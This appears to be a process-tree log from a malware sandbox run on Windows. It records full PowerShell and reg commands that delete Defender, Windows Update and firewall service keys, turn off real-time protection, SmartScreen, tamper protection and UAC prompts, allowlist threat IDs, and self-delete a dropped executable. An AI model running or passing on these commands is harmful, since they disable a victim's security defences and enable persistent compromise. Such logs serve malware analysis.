        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" Stop-Service 'wuauserv' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\wuauserv' -Force -Recurse; Stop-Service 'wscsvc' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\wscsvc' -Force -Recurse; Stop-Service 'WMPNetworkSvc' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\WMPNetworkSvc' -Force -Recurse; Stop-Service 'WinDefend' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend' -Force -Recurse; Stop-Service 'WerSvc' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\WerSvc' -Force -Recurse; Stop-Service 'WdNisSvc' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\WdNisSvc' -Force -Recurse; Stop-Service 'WdNisDrv' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\WdNisDrv' -Force -Recurse; Stop-Service 'WdFilter' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\WdFilter' -Force -Recurse; Stop-Service 'WdBoot' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\WdBoot' -Force -Recurse; Stop-Service 'UsoSvc' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\UsoSvc' -Force -Recurse; Stop-Service 'Sense' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\Sense' -Force -Recurse; Stop-Service 'SecurityHealthService' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\SecurityHealthService' -Force -Recurse; Stop-Service 'SDRSVC' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\SDRSVC' -Force -Recurse; Stop-Service 'PcaSvc' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\PcaSvc' -Force -Recurse; Stop-Service 'MpsSvc' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\MpsSvc' -Force -Recurse; Stop-Service 'mpsdrv' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\mpsdrv' -Force -Recurse; Stop-Service 'DoSvc' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\DoSvc' -Force -Recurse; Stop-Service 'dmwappushservice' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\dmwappushservice' -Force -Recurse; Stop-Service 'DiagTrack' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\DiagTrack' -Force -Recurse; Stop-Service 'diagnosticshub.standardcollector.service' -Force; Remove-Item 'HKLM:\SYSTEM\CurrentControlSet\Services\diagnosticshub.standardcollector.service' -Force -Recurse;
        5⤵
        
        PID:4896
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SOFTWARE\Policies\Microsoft\Office\16.0\osm';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enablelogging' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableUpload' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Siuf\Rules';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'NumberOfSIUFInPeriod' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'PeriodInNanoSeconds' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'NoExplicitFeedback' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\MediaPlayer\Preferences';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'UsageTracking' -Value 0;
        5⤵
        
        PID:3296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PreventOverride' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\PCHealth\ErrorReporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'IncludeShutdownErrs' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'AllOrNone' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'IncludeMicrosoftApps' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'Disabled' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'IncludeWindowsApps' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Disabled' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DontShowUI' -Value 1; $key='HKCU:\SOFTWARE\Microsoft\Windows\Windows Error Reporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Disabled' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DontShowUI' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Scan_ScheduleDay' -Value 8; New-ItemProperty -Path $key -Force -Verbose -Name 'LocalSettingOverrideScan_ScheduleTime' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableEnhancedNotifications' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableGenericRePorts' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableBlockAtFirstSeen' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'LocalSettingOverrideSpynetReporting' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'SpynetReporting' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'SubmitSamplesConsent' -Value 2; $key='HKLM:\software\microsoft\Security Center';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AntiVirusDisableNotify' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'FirewallDisableNotify' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'UpdatesDisableNotify' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'UacDisableNotify' -Value 1; $key='HKLM:\software\Policies\Microsoft\MRT';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DontReportInfectionInformation' -Value 1; $key='HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose};New-ItemProperty -Path $key -Name 'DisableWindowsUpdateAccess' -Value 1 -Force -Verbose; New-ItemProperty -Path $key -Name 'SetDisableUXWUAccess' -Value 1 -Force -Verbose; New-ItemProperty -Path $key -Name 'DoNotConnectToWindowsUpdateInternetLocations' -Value 1 -Force -Verbose;New-ItemProperty -Path $key -Name 'DisableOSUpgrade' -Value 1 -Force -Verbose; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'NoAutoUpdate' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableFeaturedSoftware' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AllowFastServiceStartup' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiSpyware' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'ServiceKeepAlive' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiVirus' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PUAProtection' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'MpEnablePus' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableRealtimeMonitoring' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableBehaviorMonitoring' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableIOAVProtection' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableOnAccessProtection' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableRawWriteNotification' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableScanOnRealtimeEnable' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableBlockAtFirstSeen' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiSpyware' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableAntiVirus' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\System';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableSmartScreen' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Features';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'TamperProtection' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows Defender';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'ProductStatus' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'ManagedDefenderProductType' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableRoutinelyTakingAction' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'OneTimeSqmDataSent' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Scan';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'ScanParameters' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'ScheduleDay' -Value 8; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'TaskbarNoNotification' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'HideSCAHealth' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'SmartScreenEnabled' -Type String -Value 'Off'; Set-ItemProperty 'HKLM:\software\microsoft\windows\currentversion\Explorer' -Force 'DisableNotificationCenter' -Value 1; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose SecurityHealth -ErrorAction SilentlyContinue;
    3⤵
    PID:224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose WindowsDefender -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose 'Windows Defender' -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose MSC -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose AvastUI.exe -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose SecurityHealth -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose MSC -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose WindowsDefender -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose 'Windows Defender' -ErrorAction SilentlyContinue; Remove-ItemProperty 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Force -Verbose AvastUI.exe -ErrorAction SilentlyContinue; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Maintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'MaintenanceDisabled' -Value 1; $key='HKCU:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Maintenance';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'MaintenanceDisabled' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKCU:\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\software\microsoft\windows\currentversion\AppHost';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableWebContentEvaluation' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\DataCollection';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AllowTelemetry' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DoNotShowFeedbackNotifications' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\Personalization\Settings';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AcceptedPrivacyPolicy' -Value 0; $key='HKLM:\SYSTEM\CurrentControlSet\Control\WMI\AutoLogger\AutoLogger-Diagtrack-Listener';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Start' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Input\TIPC';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enabled' -Value 0; $key='HKLM:\Software\Microsoft\Internet Explorer\PhishingFilter';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV8' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnabledV9' -Value 0; $key='HKLM:\software\microsoft\windows\currentversion\policies\system';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableLUA' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'ConsentPromptBehaviorAdmin' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'PromptOnSecureDesktop' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableInstallerDetection' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'ConsentPromptBehaviorUser' -Value 3; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableSecureUIAPaths' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'ValidateAdminCodeSignatures' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableVirtualization' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableUIADesktopToggle' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'FilterAdministratorToken' -Value 0; $key='HKLM:\SYSTEM\CurrentControlSet\Control\WMI\AutoLogger\SQMLogger';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Start' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\AppCompat';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'AITEnable' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'DisableUAR' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\InputPersonalization';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'RestrictImplicitInkCollection' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'RestrictImplicitTextCollection' -Value 1; New-ItemProperty -Path $key -Force -Verbose -Name 'HarvestContacts' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\TabletPC';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PreventHandwritingDataSharing' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\Windows\HandwritingErrorReports';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'PreventHandwritingErrorReports' -Value 1; $key='HKLM:\SOFTWARE\Policies\Microsoft\SQMClient\Windows';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'CEIPEnable' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'CorporateSQMURL' -Value '0.0.0.0';
    3⤵
    PID:7120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SOFTWARE\Policies\Microsoft\Office\16.0\osm';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'Enablelogging' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'EnableUpload' -Value 0; $key='HKLM:\SOFTWARE\Microsoft\Siuf\Rules';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'NumberOfSIUFInPeriod' -Value 0; New-ItemProperty -Path $key -Force -Verbose -Name 'PeriodInNanoSeconds' -Value 0; $key='HKLM:\SOFTWARE\Policies\Microsoft\Assistance\Client\1.0';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'NoExplicitFeedback' -Value 1; $key='HKLM:\SOFTWARE\Microsoft\MediaPlayer\Preferences';if((Test-Path $key) -ne $TRUE){New-Item -path $key -Force -Verbose}; New-ItemProperty -Path $key -Force -Verbose -Name 'UsageTracking' -Value 0;
    3⤵
    PID:2588

C:\Users\Admin\AppData\Local\Temp\B5D3.tmp.exe
C:\Users\Admin\AppData\Local\Temp\B5D3.tmp.exe
1⤵
PID:8440
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\B5D3.tmp.exe"
  2⤵
  PID:8332
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:3256

C:\Users\Admin\AppData\Local\Temp\E688.tmp.exe
C:\Users\Admin\AppData\Local\Temp\E688.tmp.exe
1⤵
PID:5084

C:\Users\Admin\AppData\Local\Temp\F658.tmp.exe
C:\Users\Admin\AppData\Local\Temp\F658.tmp.exe
1⤵
PID:9892

C:\Users\Admin\AppData\Local\Temp\136.tmp.exe
C:\Users\Admin\AppData\Local\Temp\136.tmp.exe
1⤵
PID:7216

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:9776

C:\Users\Admin\AppData\Local\Temp\DAB.tmp.exe
C:\Users\Admin\AppData\Local\Temp\DAB.tmp.exe
1⤵
PID:10132

C:\Users\Admin\AppData\Local\Temp\1AEB.tmp.exe
C:\Users\Admin\AppData\Local\Temp\1AEB.tmp.exe
1⤵
PID:9856

C:\Users\Admin\AppData\Local\Temp\2A6C.tmp.exe
C:\Users\Admin\AppData\Local\Temp\2A6C.tmp.exe
1⤵
PID:7564

C:\Users\Admin\AppData\Local\Temp\2C13.exe
C:\Users\Admin\AppData\Local\Temp\2C13.exe
1⤵
PID:6564

C:\Users\Admin\AppData\Local\Temp\3183.tmp.exe
C:\Users\Admin\AppData\Local\Temp\3183.tmp.exe
1⤵
PID:8420
- C:\Users\Admin\AppData\Local\Temp\3183.tmp.exe
  "C:\Users\Admin\AppData\Local\Temp\3183.tmp.exe"
  2⤵
  PID:7068

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:9220

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3612

C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\AUkTbvV.exe
C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\AUkTbvV.exe 9n /site_id 754 /S
1⤵
PID:8540
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:7284
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2480
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:8316
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:10164
- - C:\Windows\SysWOW64\reg.exe
